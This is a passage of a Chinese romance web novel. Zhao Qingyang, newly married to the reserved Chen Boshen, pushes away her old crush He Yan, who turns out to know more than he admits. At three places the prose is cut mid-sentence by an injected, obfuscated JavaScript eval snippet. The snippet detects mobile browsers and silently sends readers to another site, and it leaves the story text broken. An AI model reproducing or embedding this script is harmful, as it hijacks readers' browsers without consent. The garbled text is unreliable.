她对陈柏深只有一点喜欢,估计陈柏深对她也仅限于一点不至于相看两厌的好感。 可耷拉的脑袋和下沉的心突然被一双有力的手掌稳稳托住。 陈柏深吻了下来。 —— 陈柏深知道赵清扬朋友多,在重逢之前他就谨慎考虑过这件事。 他清楚知道,就算结了婚,她的生活也不可能只有他。 但他没想到这一天来得这么快。他本来挂了号,计划周日和她去医院做孕前检查,他本来计划吃饭时说起这件事。 他本来想循序渐进,在一切都准备就绪的情况下和她更进一步。 可计划毫无预兆被打乱了。 虽然是晚上的聚会,但赵清扬第二天一大早就出了门,之后他看不进任何书。 再怎么心不在焉,一天时间说熬也能熬过去,他难得失眠,满脑子来来去去都是赵清扬提过的尚北路,一时冲动竟然抓起车钥匙往那边开。 他知道这么做没用,赵清扬说不定已经睡下,他大半夜出来兜风除了减少自己的睡眠时间以外没有任何用处。 好在赵清扬赶在他萌生回家念头之前发来了地址,让他去接她回家。 早有预料可能会遇到贺延,也早有预料赵清扬不会向贺延介绍他的身份,更能预料到贺延会装模作样挖苦他。 所有可能的屈辱他都能预料到,并且已经习惯忍耐。他向来擅长忍耐。赵清扬不愿意透露他的存在,他就保持沉默,贺延想刺激他,他就让他得逞。 可回到家后电话铃声怎么还会响起呢,明明都这么晚了。 陈柏深轻轻捂住赵清扬耳朵。 此时此刻,她想吻的是他,不是别的什么人。 —— 沉沉浮浮不知道睡了多久,宿醉后的脑袋像是叮叮当当被敲了一夜的烙铁,左冲右突像要裂开,赵清扬挣扎着掀开被子,凭借肌肉记忆走出房间。 已经是早上十点钟的光景,陈柏深早已经去上班,桌上照例放着早餐。赵清扬饿得两眼冒金光,低头闻了闻领口,实打实发酵了一晚的酒气差点没将她熏晕过去。 陈柏深大半夜接她回来,竟然也不给她灌点蜂蜜水解解酒,就算不能帮她洗澡去去味道,好歹给她换一套衣服啊……断了片的记忆像老旧的电视机屏幕一样闪来闪去,什么也没闪明白,赵清扬索性不去回忆,回头看了一眼自己刚走出来的房间。 不是她自己的房间。她捂臭的是陈柏深的床。 刚乐得自在打算撒手不管,走出两步后还是忍不住折返,拆了被套床单枕头套,一股脑全塞进洗衣机里翻滚。 接着麻利脱了衣服准备洗澡,却在镜子里发现脖子上不知道什么时候多了一块指甲盖大小的痕迹,但位置靠后看不清楚。 赵清扬用手搓了搓,什么也没搓下来,心想大概是昨晚醉醺醺走路不稳撞到了什么地方,要不就是被蚊子叮咬后抓破的伤口。 管不了那么多,赵清扬快速冲好澡,拿着手机坐下来吃早餐。 手机里没有什么新消息,估计盛奕乔他们还没睡醒。通话记录里倒是有贺延的未接来电,不过也是昨天晚上的事了。 本着报平安的心态,赵清扬给贺延去了消息,“不好意思啊,昨晚睡着了没听到电话。” 贺延很快回复,“没事就好。” “你什么时候方便?我去你家里把车开走。”赵清扬问。 贺延:“随时都行。” 赵清扬:“我一会儿过去吧。” 贺延:“嗯。” 相比昨晚重逢时的热络,贺延明显冷淡了许多,像极了当初快要毕业时对她一落千丈的态度。赵清扬依稀记起昨晚玩游戏时和贺延的针锋相对,用力揉了揉头发,心想去他爹的,差点又栽他手里。 本以为几年不见,久别重逢也能心无波澜,谁知道一见面就被一句好久不见勾得心神荡漾,游戏里一声亦真亦假的问候就让她死灰复燃。 赵清扬不知道是贺延勾人的伎俩太高超还是她根本就放不下。 如果她没叫陈柏深来接,以她的定力,估计这会儿就是□□从贺延床上醒来,没名没分又患得患失。 这样看来,和陈柏深结婚并不是今年最后悔的事。至少她还有个名义上的归宿,不至于失魂落魄无处可去。 —— 再来贺家已经是轻车熟路,赵清扬下车前特意喷了花露水驱蚊。 贺延鼻子挺灵,一见面就问她身上喷了什么香水,知道是花露水之后表情变了又变,皱眉往她脖子上瞟了好几眼。 赵清扬被他眼里一闪而过的嫌弃盯得不自在,抬手捶了他一拳,“怎么,喷了花露水不配进你家啊?” 贺延后知后觉自己的反应失礼,重新整理表情,“哪里的话。我就是好奇什么蚊子能叮这么奇怪的包。” “我也不知道,今早起来才发现。”赵清扬摸了摸脖子,反客为主,“我在家里也没被咬成这样,昨晚来你家一趟就光荣负伤。” 贺延家花园里养了不少花草,虽然一直有人打理,但现在夏季炎热,正是蚊虫孳生的季节,总免不掉几只漏网之鱼,趁人在室外时悄悄来上一口。 贺延笑着举手投降,“好,我的问题。” 有朋友听到他们说笑,走过来问怎么回事,赵清扬正要解释,贺延突然打岔,问她要不要去找盛奕乔,“她睡二楼的房间,现在不知道起没起。” 话题被顺滑岔开,赵清扬跟着贺延上楼去找盛奕乔,拉开一道门缝看到盛奕乔还在睡,贺延便带赵清扬进了旁边的衣帽间,从衣柜里挑了一条浅绿丝巾递过去,“遮一遮。” “真有这么难看?”赵清扬没接丝巾,走到全身镜前再次检查仪容仪表。 贺延言简意赅:“丑。” “还不是怪你。”赵清扬不甘示弱。 贺延盯着她脖子上满满挑衅意味的吻痕,似笑非笑,“行,怪我。” 赵清扬瞪他一眼,接过丝巾要往脖子上系,却忽然想到了什么,把丝巾还给他,“我自己有。” 贺延没接,眼神玩味挺直了身子,双手插兜问得一针见血,“要避嫌?” 赵清扬猛地一愣。 贺延举重若轻,盯着镜子里发愣的她轻松道:“真谈了就大大方方带出来跟我们一起玩嘛,人多才热闹。” 极好看的一双桃花眼弯起来反而让人捉摸不透,赵清扬摸不出贺延猜到了哪种程度,还在斟酌要怎么回答,贺延又开了口,“今夜我们打算去海边等日出,你去不去?” 昨天刚熬了大夜,今天又不打算好好睡觉,行程安排得这么紧密,赵清扬甚至怀疑他后天就要走,“你这次回来,什么时候走?” 贺延笑了笑,“可能就不走了。” 赵清扬想问他怎么改了规划,开口前突然觉得他走或留都已经跟自己没关系,于是不多问,“你们去吧,今天周一,我还要上班。你们玩得开心。” 贺延抬手看表,无情拆穿,“这都快中午了。你上的什么班?” 赵清扬:“……你管得着吗?” 贺延走近,混不吝开口,“反正也不着急,多放松一天有什么关系。” 赵清扬白他一眼,“不干活你给我发工资?” “陪我也可以是工作。”贺延耸耸肩。 赵清扬:“……” “不愿意干但为了生计不得不做的事情,不就是工作?”贺延笑眯眯凑近,“以朋友的名义来陪我,和以收取报酬为目的来陪我,后者好像更划算一点?” “反正你也没对象,陪我一天,领一天工钱,怎么样?” 见贺延没看出什么,赵清扬虚惊一场,懒得跟他拌嘴,转身下楼去取车,“你就是闲的。” 贺延随意的口气里却透出了些许不轻易示人的真诚,“我认真的。” 赵清扬没接话,闷头往前走。 贺延走快两步追上来,“听盛奕乔说,你辞了在银行的工作?” 赵清扬不想多提工作上的糟心事,言简意赅道:“干不下去。” “朝九晚五的工作确实不适合你。”贺延问,“现在在干什么?” 辞去工作后仍然一事无成的现状实在没什么好说,说出来了又怕贺延会像盛奕乔那样变着法来支持她的生意,于是赵清扬撒了个小谎,“在家躺平,啃老。” “你爸妈同意你裸辞?”贺延半信半疑。 赵清扬一副死猪不怕开水烫的姿态,“不同意又能怎么样,他们就我一个女儿,总不能看着我饿死。” 又是上班又是在家躺平, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419266|184754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵清扬的话前后矛盾漏洞百出,贺延明白她不愿意透露现状,也就识趣不再多问,“今天真不考虑陪我?时薪我们可以商量。” 刚好走到车边,赵清扬忽地笑了起来,“收了钱才来陪你的那还叫朋友吗?盛奕乔和孟畅他们都有空,也玩得开,你想要的热闹不缺我一个。你真想一直有人陪,不如赶紧找个对象。” 说完,气氛在意料之中突然安静。 贺延的眼神蒙上一层说不清道不明的意味,像烈日骄阳下飘来一片遮阴的乌云。 不能直视的猛烈阳光透过乌云照进她的眼睛。 赵清扬假装看不见他眼里投射出的希冀,继续打着哈哈,“不过我们也都不小了,就算谈恋爱也不能只顾着喜不喜欢,还要看合不合适。不然谈了几年培养出了感情,最后没能在一起,多可惜。” 贺延唇角一勾,笑着反驳,“享受当下不好吗,反复权衡之后的喜欢不够纯粹,谈起来也没意思。难道不能结婚的感情就不配经历了?” 赵清扬耸耸肩,也故作轻松朝他笑,“人各有志,你找一个跟你恋爱理念适配的人就行。在做决定之前问清楚,万一人家奔着结婚去,你可别耽误人家。” 说完,赵清扬拉开车门要走,不料贺延抬手挡住车门,慢条斯理揭晓,“你不记得了吗,我刚刚那些话,是你以前说过的。” 赵清扬身体一僵。 猛地想起某一节体育课解散后和朋友们咬着冰棍坐在操场上畅谈未来的情景,想起自己狂言要一直谈恋爱谈到老,死也不结婚,赵清扬尴尬地摸了摸鼻子,“现在和以前哪能一样,人的想法总会改变。” 见她窘迫,贺延眼角含笑,动作自然借助车门将她围在身前,“你爸妈开始催婚了?这么快就打算安定下来?” 鼻间被贺延的味道充盈,赵清扬咬了咬唇,一肚子的解释在犹豫中被消化完全,最后能诉之于口的只有一个字,“嗯。” “在相亲?” 赵清扬低头不语。 “你真看不出来么?”贺延目光落在她光滑颀长脖颈上一处那处吻痕,话头一转。 赵清扬这才有了反应,一双明亮眼睛疑惑跟他对视,“嗯?” 贺延叹一口气,“没事。” 赵清扬这时候却突然懂了他试探的意思。 其实体育课后关乎未来的那番憧憬并不全是她的真心话。 她的青春都和贺延有关,真心话自然也是说给他听。在春心萌动的年纪里,她天真以为,只要表现得和他志同道合,就能为自己博得一丝机会。 就像一只将自己舔得干干净净的流浪狗,忍住不去摇尾乞怜,但会在心里默默地说,我不是非你不可,你摸一摸我就好,我不会赖上你。 你看,我也不是非要结婚,我们还这么年轻。我不乞求长久的关系,你和我在一起试试,到时间了就分开,厌倦了就分开,不合适就分开,好不好? 可惜十八岁的贺延没有听懂,现在二十六岁的贺延还记得,却也没懂。 但她总要向前看,不能困在过去。想到这里,赵清扬在心里鼓励自己,深吸一口气打算和他划清界限,“以后我们少点来往吧,我......” 贺延帮她把难以启齿的后半句说出来,“结婚了?” 赵清扬霎时瞪大了眼。 贺延没想到随口说出最不可能的猜测并没有得到否认,愣怔半秒却是笑了起来,“盛奕乔昨晚喝醉,我问她几句你的事情,她都说了。我本来还不信,没想到她没骗我。” 赵清扬有点难堪,“那个,事情比较仓促,就没告诉大家......” 贺延看起来却像是心情很好的模样,笑得满面春风,“既然话都说清楚了,怎么样,今晚带上他一起去等日出?” 赵清扬不由得在心里怪自己自作多情。对她来说天大的秘密在贺延眼里也不过如此。他在乎的只是人声鼎沸的热闹,并非专属于她一个人的暧昧。 不管怎么样,心里的道德底线终究是守住了。赵清扬心中大石放下,长松一口气,“还是算了,我没空,他也不喜欢热闹。” —— 告别赵清扬,贺延从院子走回屋子里,一楼只剩下盛奕乔睡眼朦胧在啃面包,“你俩在外面说什么,站那么久,怎么不进来说。” “没什么,赵清扬来取车,就简单聊了两句。”贺延说,“我跟孟畅他们说好了,打算今晚一起去海边等日出,你去不去?” “他刚跟我说了。我也去。”盛奕乔点点头,拿起手机准备知会赵清扬一声,“这事儿你跟清扬说了吗?” “说了。”贺延笑,“我叫她带她家里那位来,她说那人不喜欢热闹,就推掉了。” 盛奕乔差点□□面包噎住,“你怎么知道她跟陈柏深结婚了?” 她记得自己明明只说了陈柏深的名字,并没有透露他们结婚的事。 贺延脸上仍挂着笑,疑惑眨了眨眼,“什么陈柏深。” “我认识?” 8. 第 8 章 夜里突然下起了暴雨,盛奕乔打电话来发牢骚,说好不容易在海边生好的火眨眼就被扑灭了,都没来得及拍照,现在一大帮人只能灰溜溜躲在屋子里看电影。 “贺延那家伙竟然连天气预报都没看,我以为他做好了计划。”盛奕乔走出阳台,气得骂了句脏话,“想一出是一出这臭毛病还是没改,一点也靠不住,在车里塞了几顶帐篷就敢走……落脚的民宿还是我临时找的,不然我们几个被冲到海里喂鱼都没人知道。” 赵清扬半夜被雷声吓醒同样不好受,拉上窗帘也没能隔绝震天的雷声,放大了手机音量问她具体怎么回事。 其实不问过程赵清扬也能猜得八九不离十。贺延随心所欲惯了,下雨了淋着,迷路了逛着,天塌下来就躺着。 今晚下了意料之外的雨,估计贺延打算在帐篷里听着哗啦雨声睡一晚,如果冲进海里,大不了就游回来,如果游不回来,大不了就沉下去。 事实和赵清扬猜想的八九不离十。贺延见下了雨,不慌不忙找到一个观景亭躲雨后就开始嘻嘻哈哈聊天,一点儿没有要好好安顿大家的意思。盛奕乔看不下去,订了附近的民宿,又安排人把车里的雨具都拿过来,再取车开去民宿。等她忙活完一切,贺延才赔着笑脸担下所有费用,说还好有她在。 赵清扬:“他就是爱玩......” 盛奕乔声音一下放低:“你站我这边还是他那边?” 赵清扬马上改口,“这事儿贺延做得不对。” “就是啊,他组织活动难道不应该考虑到所有人的安全问题吗?如果真的出了事,他担得起什么后果?我们朋友一场,一起出来玩都是为了开心,但他呢,事先不商量好行程,遇到变动就听天由命,他倒是觉得刺激觉得尽兴了,难道所有人都得搭上一条命围着他转?” 听着盛奕乔一股脑控诉,赵清扬突然就明白了为什么贺延要会萌生花钱请朋友陪玩的念头。 算他有自知之明。 赵清扬等盛奕乔发泄得差不多,见缝插针劝她消气,“别生气,你要是进了鱼肚子我游过去第一个把你掏出来。” 盛奕乔:“……” 突然间,一道足以照亮天际的闪电划过,赵清扬闭上眼把手机一丢,双手用力捂住耳朵,缩在被子里等雷声开天辟地后才重新回到通话。 “……你没事吧?”盛奕乔火气被赵清扬的冷笑话扑灭了不少,这时候听见手机里的异样声响,便有些有点担心。 “没事。”赵清扬惊魂未定,抖抖前胸后背都被冷汗浸湿的睡衣,趿拉着拖鞋要下床,“我这边在打雷。你也别太生气,贺延一直都这样,你又不是不知道。” “贺延这人,说实话,我真是越来越看不懂。”盛奕乔余怒未消,“还好你下定决心和他撇清关系,不然你再因为他受委屈,我真要气死。” 刚好走到门边,赵清扬突然因为这句话停下脚步。 窗外雨声逐渐稀疏,惊雷也变为阵阵闷雷,赵清扬听着盛奕乔张牙舞爪的声音,莫名心安。她当然知道盛奕乔想尽办法逼她说出和陈柏深的关系并不单是出于八卦之心,更是为了帮她推开贺延。 贺延只适合当一个玩伴,并不是一个值得托付的伴侣,她一直都知道。 就近来说,她怕打雷的毛病还是因贺延而起。 那是高二的某一天,也像现在这样闷热多雨,贺延约她一起去体育馆游泳,打算游完再回去上晚自修。当天下午她提早到了,贺延则因为突然下雨爽约,当时学校不让带手机,她也没带伞,就在体育馆里一直等他。 室内游泳池不比露天泳池,开放情况不受天气影响,但因为突发大雨,基本没人再来,少数几个同学接连被人带伞接走,最后只剩下她一个人在偌大的体育馆里坐着。 管理员到点要关馆,看她一个人苦等,问她哪个年级哪个班,“我给你们班主任打个电话。” 但她怕贺延来了见不到她,便婉拒管理员老师好意,执意继续等。被赶出门口后,刚好遇上一道惊雷在面前炸开,吓得她腿一软跌坐在地,差点崴脚。 最后是盛奕乔顶着滚滚乌云和大风大雨来体育馆找她,裤脚湿了大半,连脸上都挂着点点雨水。 回去的路上,盛奕乔除了递伞的时候骂了她一句傻瓜,其余时间一言不发,问什么也不说。 回到教室,赵清扬才从其他同学嘴里得知了来龙去脉。值班老师清点人数时发现她缺勤,在班里问贺延知不知道同桌去了哪里,贺延说应该在体育馆,等雨停了就会回来。 盛奕乔带上伞要去接,老师问有没有人愿意陪她一起去,有几个人掏出伞蠢蠢欲动,但其中没有贺延。盛奕乔顿时就黑了脸,接过同桌递来的另一把伞头也不回走出教室,“老师,我是班长,我去接。” —— 贺延不止一次干过这样的事,也不止对她一个人做过同样的事,但因为事后道歉的态度比谁都诚恳,又是手写道歉信又是帮忙跑腿带饭,还会买小礼物赔罪,因此没人因为几次爽约真的怪他。 赵清扬就这么挨一巴掌吃三颗糖地继续和他当着朋友,心里劝自己别太计较。 但有时候也不免会想,如果他们成了恋人,是不是贺延就能多在乎她一点,她是不是也就有立场去跟他发发脾气,让他多关心自己一些,少跟其他女生说话,又或者要求他只能帮她带饭,只能帮她打水。 可能贺延也明白确认关系后会受到诸多限制,所以才不远不近吊着她,把她熬得分不清友情和爱情。 赵清扬走神的这点空当里,盛奕乔已经自言自语分析了一长串,“……反正我觉得贺延这个人不能深交,倒不是说他的心有多坏,但他关键时刻不把朋友当回事,这点我受不了。” “嗯。”赵清扬靠在门边,同意。 “反正你现在也有了陈柏深,少他一个不少,不愁没事做。” 赵清扬失笑,“陈柏深很闷的。” 盛奕乔这就奇了怪了,“那你当初怎么看上他的?就因为他长得好看?” “怎么说呢,”赵清扬靠在门边摩挲门框,一字一句,“跟陈柏深结婚可以,恋爱不行。” 话音刚落,突然听到门外有陈柏深走动的脚步声,赵清扬怕吵到他,自觉从门边走回床边,压低声音,“他对我很好,但总差点意思。” 盛奕乔那边也是风雨交加,赵清扬声调一低就听不清,“你说什么?” 赵清扬仔细听到房间外传来关门的声音,这才恢复了原来的音量,解释,“刚才陈柏深起来上卫生间。” 盛奕乔像是听到了什么不得了的话,“你们现在还分房睡?” 赵清扬苦笑,“不然你以为这个点我怎么会跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419267|184754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你打电话?” 盛奕乔觉得不对劲,喃喃自语,“不应该啊……” 赵清扬无奈,“别提了,他不知道为什么一直躲我。要不是我说想要孩子,他连碰都不给我碰。” “你真想要孩子?”盛奕乔有点惊讶。 “借口而已。”赵清扬不放心地抽出了床头柜底下的抽屉。几盒未拆封的套还在。 赵清扬松一口气,把抽屉推回去。幸好王素梅没把这玩意给她扔了,不然哪天情到浓时,紧要关头又功亏一篑。 “不过,你爸妈开始催了吧?”盛奕乔还在八卦。 “管他们催不催。” “陈柏深他爸妈也不催?” “没见过他爸妈,不知道催不催。催也催不到我头上。” 盛奕乔哈哈笑了起来,“我看陈柏深肯定是因为害羞,才一直不敢做。他之前谈过没有?” “他说没谈过。” “我看也是。”盛奕乔突然想起了什么,“对了,你说贺延认没认出陈柏深?” 一道闪电毫无征兆亮彻整个天际,赵清扬吓得浑身痉挛,紧紧闭上眼,久久才回过神来,声音发颤,“贺延?” “我昨晚喝大了,总记得贺延认出了陈柏深,但今天贺延又一副从没听过陈柏深这个名字的样子......我不知道是不是梦。”盛奕乔听出赵清扬声音颤抖在一直硬撑,只好按捺住倾诉欲,“我现在也赶不回来,实在不行你去找陈柏深陪你一起睡?” “那多没面子。”赵清扬撇撇嘴。这么大个人了还怕打雷,说出去都没人信,指不定陈柏深还误会她别有用心。 “我看天气预报说这雨还得接着下好几个小时。你睡不睡都难熬。” 赵清扬权衡几秒,只能妥协,“好吧。” 互道晚安后,赵清扬来到陈柏深门前,试探性按了按门把手,门没锁。打好腹稿深吸一口气打开一条门缝,却发现陈柏深躺在床上睡得十分安稳。 赵清扬轻手轻脚走到床沿,小心翼翼喊了一声陈柏深的名字,“你睡着了吗?” 陈柏深没反应,呼吸仍然平稳均匀。 赵清扬掀开一角被子要躺进去,突然想到身上的睡衣被冷汗浸湿不太干净,便打算先回房间换一身干爽衣服再来。 不等她慢动作转身,一道惊雷平地而起,劈得她腿一软,心脏狂跳手忙脚乱扶住旁边的衣柜才没摔地上。站稳后索性哆哆嗦嗦在手边衣柜里找出了一件看起来不值钱也不臭的短袖,摸黑蹲地上背对陈柏深快速换上。 换好衣服,赵清扬深吸一口气,继续慢动作掀被子,躺下后再一寸寸挪到陈柏深手边。 但后背空荡荡,还不够。赵清扬起身回头再次谨慎确认陈柏深没醒,小心翼翼抬起他手臂,将自己的身体往后缩进他侧躺所形成的狭小空间里,等因为害怕而过速的心跳慢慢放缓,这才沉沉睡去。 —— 陈柏深一直等到怀里人发出模糊难辨的梦中呓语才敢睁眼。 眼睛慢慢适应周围的黑暗,很快就认出眼前雪白脖颈上那块淤青。 他今天还没和她说上话,也不知道她疼不疼。 力度刻意放轻,满心愧疚吻了同样的位置,陈柏深收紧怀抱,直到两人之间的距离能让他埋进她颈间深吸一口气安抚躁动的心绪,才伴着渐息的雨声再次入睡。 9. 第 9 章 陈柏深查了天气预报,这几天都有雷阵雨。 赵清扬的闹钟还没响,但好在天气已经放晴,她一个人醒来也不会害怕。 陈柏深留好另一半早餐,刚好洗衣机里赵清扬夜里换下的睡衣也已经洗干净,于是将衣服晾上就出门上班。 赵清扬听到大门关上,马上睁开眼精神抖擞坐了起来。 看一眼挂钟,才早上七点半,距离她闹钟响起还有足足两个小时。 都怪陈柏深。赵清扬闭上眼深深吐出一口气,一大早起什么反应,吓她一大跳,动也不是,不动也不是。本来睡得好好的,安乐窝一下子就成了她为自己打造的一座欲望牢笼。 刚想趁陈柏深还没醒赶快遛走,谁知他一点没有赖床的习惯,起床的速度比她还快,她只能继续装睡。 赵清扬抓紧了被子。刚才下半身那不容忽视的温热触感在心头萦绕,久久挥之不去,不断提醒她昨晚在和一个发育成熟的成年男性同床共枕。 但她困昏了头,竟然倒头就睡。 真不知道哪里修炼来的清心寡欲。 赵清扬拿起手机看了看天气预报,好巧不巧,这几天都是雷暴天气。但显然今晚不可能复刻昨晚的无动于衷。 走出房间,阳台上她昨夜换下的睡衣正迎风飘扬,不用猜也知道是陈柏深的手笔。 不知道陈柏深今天一觉醒来发现枕边有人是什么反应?赵清扬快速权衡一番,觉得开诚布公提出一起睡,总好过偷偷爬床。 他们好歹是合法夫妻,睡个觉搞得跟做贼一样像什么话。 低头看了眼身上松垮的深色睡衣,赵清扬心一横抓起手机给陈柏深发消息,“中午一起吃饭吧,我去食堂找你。” - 工作日的食堂比周末的人要多,赵清扬坐下后,时不时能感受到周遭投来的陌生视线。 “有人一直在看我们。”赵清扬身子前倾,低声,“你左后方的位置……” 话还没说完,陈柏深转身,毫不避讳跟那个年轻男人打了声招呼。 赵清扬想阻止也来不及,马上闷头吃饭假装什么也不知道,等陈柏深转回来才嘀咕,“你下次别看那么明显……” “他是我同事,你可以叫他小张。”陈柏深介绍。 赵清扬再一抬头,刚才鬼头鬼脑观察他们的小张已经来到了面前热络伸出手,“嫂子好。” 赵清扬赶紧放下筷子站起来和他握手,“你好。” “前几天听说老大结了婚,所以刚刚就忍不住多看了几眼,嫂子别介意啊。”张维不好意思笑了笑。 “没事。”赵清扬松手要坐下,却发现这个小张还抓着她的手,嘴里不停恭维,“嫂子长得真漂亮,难怪老大喜欢……” 赵清扬刚要不留情面把手扯回来,陈柏深先一步站起,按了按那人肩膀,“好了,你回去吃饭吧。” 小张一步三回头走了,赵清扬却没了胃口,“卫生间在哪?” 陈柏深知道刚才同事的行为失礼,指了不远处一处转角,“在那里,我陪你去吧。” “不用。我洗个手就回来。” 洗完手回来时,小张已经吃完,离开了原来的位置,赵清扬没再感受到令人不适的眼神追随,却突然想到这个食堂里的碗筷可能也被那个人碰过,心里一阵恶心。 她以后不会再来。 陈柏深看她回来后就不再动筷也不再和他说话,心里也明白了七分,于是端起盘子要走,“我们回宿舍吧,我给你重新做。” 赵清扬脸色缓和了点,“不用重新做。你去倒饭,我去打包。” 回到宿舍,陈柏深拿出碗碟打算分装,赵清扬不想看他忙活,拆了一次性筷子捧起塑料碗,“不用那么讲究,不然一会儿还要洗碗。” 但陈柏深显然不在乎洗碗这点活,执意递来瓷碗和竹筷,赵清扬只好任他继续把菜都倒进瓷白菜碟里,看着他布置出一顿正式的午饭。 “刚才的事,是那个人没边界感,谁没几个恶心同事……我没有怪你。但我以后不想在饭堂吃。”赵清扬直说。 “好。” “你也不用费时间特地给我做饭,饭堂打包回来就好。” “嗯。” “我不知道你喜欢吃什么,就随便打包了点。”赵清扬说,“你在家一直做我喜欢的菜,我都不知道你的喜好。” 陈柏深给她倒一杯水放在手边,“没事,你喜欢吃的我也喜欢。” 话说开了,饭桌也布置好,赵清扬的火气散得差不多,拾起筷子夹菜,“最近工作很忙?” “还好。” “我们昨天都没见过面。”赵清扬开门见山,“你没等我一起吃晚饭,也没发消息问我什么时候回家。” 陈柏深动作一顿,“我......” “你生我气了?”赵清扬咬着饭粒,漫不经心问道。 陈柏深轻咳一声,“没。” “真生气你可以跟我说,我又不是蛮不讲理的人。”赵清扬有一下没一下戳着碗里的肉,“你平时的情绪都藏着掖着,全靠我猜。” 陈柏深不语。 赵清扬没有戳破他偷偷藏起来生闷气的事实,说起另一件事,“我昨天早上去取车的时候顺便跟朋友解释清楚了。他问你有没有时间一起见个面。” 赵清扬打定主意陈柏深不会接受见面,果断编了个体面的小谎,“虽然错在我,喝多了忘记介绍,但他还是想请你吃顿饭赔罪,你什么时候有空?” 陈柏深不想见贺延,也不方便见,“没事,误会解开了就好。” 赵清扬看着他那张没有表情变化的脸,不信他就此释怀,“我和他共友很多,不可能不见面,平时去别的地方玩也可能不回家,你如果实在不放心,我可以介绍你们认识,以后你有空也可以跟我一起。” 陈柏深以为她发现了他见不得光的幼稚伎俩,放下筷子认错,“抱歉,我......” “不用说对不起,以后有什么事我们摊开来说,别闷在心里。”赵清扬说得直白,“你是一个很好的人,对我也很好,有时候我考虑不周全,可能会让你难受,但我没想伤害你。” “我们这周末去一趟医院吧。你之前不是提过孕前检查吗?”赵清扬打开手机,推到陈柏深面前,“你选一个时间段。” 等陈柏深挑好预约时段,赵清扬接着又公事公办提起下一项日程,“做完检查顺便去订一对戒指吧,戴上戒指也省得多解释什么。” 形式不及想象中浪漫,但陈柏深只能同意。 “我的话说完了。继续吃吧。”赵清扬示意他继续动筷。 心不在焉吃完一顿饭,陈柏深收拾碗筷进了厨房。赵清扬等他挽起袖口系好围裙动手洗碗,没有拒绝的余地,这才慢悠悠从后面将他往前抱住,脸颊往他后背贴,轻声,“这几天都有雷阵雨,我怕打雷,我们一起睡好不好?” 陈柏深的心脏地动山摇跳了又跳,“好。” 赵清扬小小打了个哈欠,“等你洗完碗,我们也一起睡午觉吧。” 温柔攻势下,陈柏深没有拒绝,“嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419268|184754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 目的达成,赵清扬依依不舍把手撤走,还没躺上床,贺延的电话就打了过来。 “喂?” “你今天有空吗?” “什么事?” “丝巾在你那儿吗?”房间不大,贺延的声音一字不漏进了陈柏深耳朵里,“我以为没人要,刚我妈打电话来问,我才知道那是她的东西。” 赵清扬去翻包,无语,“……没人要的东西你塞我车里。” “难不成我还送你别人的东西啊?”贺延笑着反问。 赵清扬今早开车时才发现不知道什么时候被贺延扔在后座上的丝巾。想着趁今天贺延不在家,找时间去一趟贺家把丝巾还回去,还特地找了合适的盒子装好。 赵清扬捏起礼盒,“急着要?” “急。你没空就叫跑腿吧,我妈下午两点就得出发去参加晚宴,这丝巾好像是那主办人之前送的礼物,带上比较好,不过没带上也不碍事……”贺延急着急着就急不起来了,“哎其实那玩意儿也不值什么钱,就是一份心意,你嫌麻烦就算了,东西先放你那,我叫我妈用别的凑合凑合。” 赵清扬就知道贺延不靠谱,“阿姨现在在哪?” 贺延说了个酒店名字,“你交给她秘书就行,房间号我一会儿发你……算了我把你电话号码给她司机吧,叫司机去找你要。你在哪儿呢?” 赵清扬没有防备,说了陈柏深单位地址。 贺延却很熟悉的样子,“那地方,一般人能进去?” “我可以去门口等司机。” “你怎么会在那儿?” 陈柏深屏住呼吸。 赵清扬却是将皮球踢了回去,“管得着吗你。” “行,你见色忘友谁也管不着。”贺延被呛也不生气,猜测却准得令人咋舌,动作也快,赵清扬还来不及反驳,就已经收到一串号码,“辛苦你跑一趟,周末回来请你吃饭,老地方。” 赵清扬没想到他们还要在海边待这么久,“你周末才回来?” “我们打算在这边住几天,不然逛不完,而且再过几天就是孟畅生日,他今年不想跟家里人一起过,想在海边搞场不一样的。” 赵清扬犹豫两秒,“我周末有安排,就不去了。帮我祝他生日快乐,礼物回来再补。” “一年才一次的生日诶,还刚好碰上周末,你这都不来?什么事情这么重要?你真打算见色忘友?” 赵清扬看一眼陈柏深,放低声音,为难,“我都约好了……” 贺延满不在乎,“预约了不能取消?” “……到时候再说吧。” 电话挂断,赵清扬捏着礼盒边拨电话边往外走,关门前才抽出空来看陈柏深一眼,“我很快回来。” 陈柏深隐隐觉得她这一走大概率不会再回来,但没想到赵清扬直到晚上也没有回家。 不仅如此,晚上没有下雨,也没有雷电。陈柏深食不知味吃过晚饭,忍不住给赵清扬打了电话。 意料之中,里面传来贺延轻快的声音,“陈柏深?” 果然。 他能一眼认出贺延,贺延怎么会认不出他。 